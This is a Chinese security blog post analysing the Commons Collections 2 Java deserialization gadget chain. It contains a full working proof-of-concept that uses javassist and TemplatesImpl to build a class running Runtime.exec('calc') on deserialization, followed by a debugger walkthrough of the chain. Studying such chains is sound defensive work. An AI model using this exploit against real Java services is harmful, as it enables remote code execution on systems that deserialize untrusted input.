Java安全之Commons Collections2分析
首發:Java安全之Commons Collections2分析
0x00 前言
前面分析了CC1的利用鏈,但是發現在CC1的利用鏈中是有版本的限制的。在JDK1.8 8u71版本以后,對AnnotationInvocationHandler的readobject進行了改寫。導致高版本中利用鏈無法使用。
這就有了其他的利用鏈,在CC2鏈里面並不是使用 AnnotationInvocationHandler來構造,而是使用
javassist和PriorityQueue來構造利用鏈。
CC2鏈中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其實能使用,但是commons-collections-4.0版本刪除了lazyMap的decode方法,這時候我們可以使用lazyMap方法來代替。但是這里產生了一個疑問,為什么CC2鏈中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中間查閱了一些資料,發現在3.1-3.2.1版本中TransformingComparator並沒有去實現Serializable接口,也就是說這是不可以被序列化的。所以在利用鏈上就不能使用他去構造。
下面我把利用鏈給貼上。
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
下面就來學習一下需要用到的基礎知識。 關於javassist上篇文章已經講過了,可以參考該篇文章:Java安全之Javassist動態編程
0x01 前置知識
PriorityQueue
構造方法:
PriorityQueue()
使用默認的初始容量(11)創建一個 PriorityQueue,並根據其自然順序對元素進行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量創建一個 PriorityQueue,並根據其自然順序對元素進行排序。
常見方法:
add(E e) 將指定的元素插入此優先級隊列
clear() 從此優先級隊列中移除所有元素。
comparator() 返回用來對此隊列中的元素進行排序的比較器;如果此隊列根據其元素的自然順序進行排序,則返回 null
contains(Object o) 如果此隊列包含指定的元素,則返回 true。
iterator() 返回在此隊列中的元素上進行迭代的迭代器。
offer(E e) 將指定的元素插入此優先級隊列
peek() 獲取但不移除此隊列的頭;如果此隊列為空,則返回 null。
poll() 獲取並移除此隊列的頭,如果此隊列為空,則返回 null。
remove(Object o) 從此隊列中移除指定元素的單個實例(如果存在)。
size() 返回此 collection 中的元素數。
toArray() 返回一個包含此隊列所有元素的數組。
代碼示例:
public static void main(String[] args) {
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}
結果:
1
2
getDeclaredField
getDeclaredField是class超類的一個方法。該方法用來獲取類中或接口中已經存在的一個字段,也就是成員變量。

該方法返回的是一個Field對象。
Field
常用方法:
get 返回該所表示的字段的值 Field ,指定的對象上。
set 將指定對象參數上的此 Field對象表示的字段設置為指定的新值。
TransformingComparator
TransformingComparator是一個修飾器,和CC1中的ChainedTransformer類似。
查看一下該類的構造方法

這里發現個有意思的地方,compare方法會去調用transformer的transform方法,嗅到了一絲絲CC1的味道。
0x02 POC分析
package com.test;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默認的類池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路徑
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//創建一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設置前面創建的CommonsCollections22222222222類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //創建一個空的類初始化,設置構造函數主體為runtime
byte[] bytes=payload.toBytecode();//轉換為byte數組
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射創建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置為runtime的byte數組
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置為test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer對象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量創建一個 PriorityQueue,並根據其自然順序對元素進行排序。
queue.add(1);//添加數字1插入此優先級隊列
queue.add(1);//添加數字1插入此優先級隊列
Field field2=queue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//設置queue的comparator字段值為comparator
Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設置queue的queue字段內容Object數組,內容為templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
先來看第一段代碼:
ClassPool classPool=ClassPool.getDefault();//返回默認的類池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路徑
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//創建一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設置前面創建的CommonsCollections22222222222類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
我在這里划分了幾個部分,這一段代碼的意思可以簡單理解為一句話,創建動態一個類,設置父類添加命令執行內容。
這里首先拋出一個疑問,上面的代碼在前面,添加了AbstractTranslet所在的搜索路徑,將AbstractTranslet設置為使用動態新建類的父類,那么這里為什么需要設置AbstractTranslet為新建類的父類呢?這里先不做解答,后面分析poc的時候再去講。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射創建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置為runtime的byte數組
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置為test
第二部分代碼,反射獲取_bytecodes的值,設置為轉換后的payload的字節碼。_name也是一樣的方式設置為test。
那么為什么需要這樣設置呢?為什么需要設置_bytecodes的值為paylaod的字節碼?這是拋出的第二個疑問。
這里先來為第二個疑問做一個解答。
來看看TemplatesImpl的_bytecodes被調用的地方

經過了load.defineclass方法返回了_class。在getTransletInstance()方法里面調用了__class.newInstance()方法。也就是說對我們傳入的payload進行了實例化。這就是為什么使用的是templatesImpl類而不是其他類來構造的原因。

而且看到他這里是強轉為AbstractTranslet類類型。這也是第一個疑問中為什么要繼承AbstractTranslet為父類的原因。
那么就需要去尋找調用getTransletInstance的地方。在templatesImpl的newTransformer方法中其實會調用到getTransletInstance方法。

這時候就要考慮到了newTransformer怎么去調用了,POC中給出的解決方案是使用InvokerTransformer的反射去調用。
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
這又使用到了TransformingComparator是為什么呢?其實在前置知識的地方說過。TransformingComparator的compare方法會去調用傳入參數的transform方法。

而關於compare的辦法就需要用到PriorityQueue來實現了。
查看對應的POC代碼
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
siftDownUsingComparator方法會調用到comparator的compare。

siftDownUsingComparator會在siftDown方法進行調用

siftDown會在heapify調用,而heapify會在readobject復寫點被調用。

下面再來看POC中的最后一段代碼
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
設置queue.queue為Object[]數組,內容為兩個內置惡意代碼的TemplatesImpl實例實例化對象。這樣調用heapify方法里面的時候就會進行傳參進去。

到這里POC為何如此構造已經是比較清楚了,但是對於完整的一個鏈完整的執行流程卻不是很清楚。有必要調試一遍。剛剛的分析其實也是逆向的去分析。
0x03 POC調試
在readobject位置打個斷點,就可以看到反序列化時,調用的是PriorityQueue的readobject,而這個readobject方法會去調用heapify方法。

heapify會調用siftDown方法,並且傳入queue,這里的queue是剛剛傳入的構造好惡意代碼的TemplatesImpl實例化對象。


該方法判斷comparator不為空,就會去調用siftDownUsingComparator,這的comparator是被TransformingComparator修飾過的InvokerTransformer實例化對象。

跟進到siftDownUsingComparator方法里面,發現會方法會去調用comparator的compare,因為我們這里的compare是被TransformingComparator修飾過的InvokerTransformer實例化對象。所以這里調用的就是TransformingComparator的compare。

在這里傳入的2個參數,內容為TemplatesImpl實例化對象。

跟進到方法里面,this.iMethodName內容為newTransformer反射調用了newTransformer方法。再跟進一下。

newTransformer會調用getTransletInstance方法。

再跟進一下getTransletInstance方法,這里會發現先判斷是否為空,為空的話調用defineTransletClasses()進行賦值,這里是將_bytecodes賦值給_class。


defineTransletClasses()執行完后會跳回剛剛的地方,留意第一個if判斷語句如果_name等於null就直接返回null,不執行下面代碼。這也是前面為什么會為_name設置值的原因。
再來看他的下一段代碼
會_class.newInstance()對_class進行實例化。執行完這一步后就會彈出一個計算器。


在最后面問題又來了,為什么newInstance()實例化了一個對象就會執行命令呢?
其實這就涉及到了在 javassist是怎么去構造的對象。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
將這個類給寫出來,再來查看一下具體的是怎么構造的。

看到代碼后其實就已經很清楚了,Runtime執行命令代碼是在靜態代碼塊里面,靜態代碼塊會在new對象的時候去執行。
調用鏈
ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(動態創建的類)cc2.newInstance()->Runtime.exec()
0x04 結尾
其實個人覺得在分析利用鏈的時候,只是用別人寫好的POC代碼看他的調用步驟的話,意義並不大。分析利用鏈需要思考利用鏈的POC為什么要這樣寫。這也是我一直在文中一直拋出疑問的原因,這些疑問都是我一開始考慮到的東西,需要多思考。
